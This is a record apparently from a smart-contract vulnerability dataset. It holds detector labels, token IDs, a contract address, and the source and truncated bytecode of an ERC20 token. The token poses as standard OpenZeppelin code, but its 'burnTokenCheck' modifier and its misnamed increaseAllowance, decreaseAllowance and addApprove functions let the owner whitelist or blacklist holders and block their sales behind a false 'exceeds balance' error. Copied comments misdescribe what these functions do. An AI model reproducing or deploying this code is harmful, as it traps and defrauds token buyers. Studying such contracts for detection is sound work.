{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 2575, 19841, 2063, 21619, 2475, 4402, 19961, 21619, 3401, 8889, 22394, 3401, 19317, 2546, 2549, 15878, 2063, 17788, 2581, 2850, 6679, 2692, 2629, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 18667, 2094, 1011, 1017, 1011, 11075, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,367
0x96a72e2131b02936551c38571ca18567508e5707
/** *Submitted for verification at Etherscan.io on 2020-11-28 */ pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _transfer(msg.sender,receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b528560405180606001604052806028815260200161316b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9b33848381518110610e7a57fe5b6020026020010151848481518110610e8e57fe5b6020026020010151612e39565b83811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806131b86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000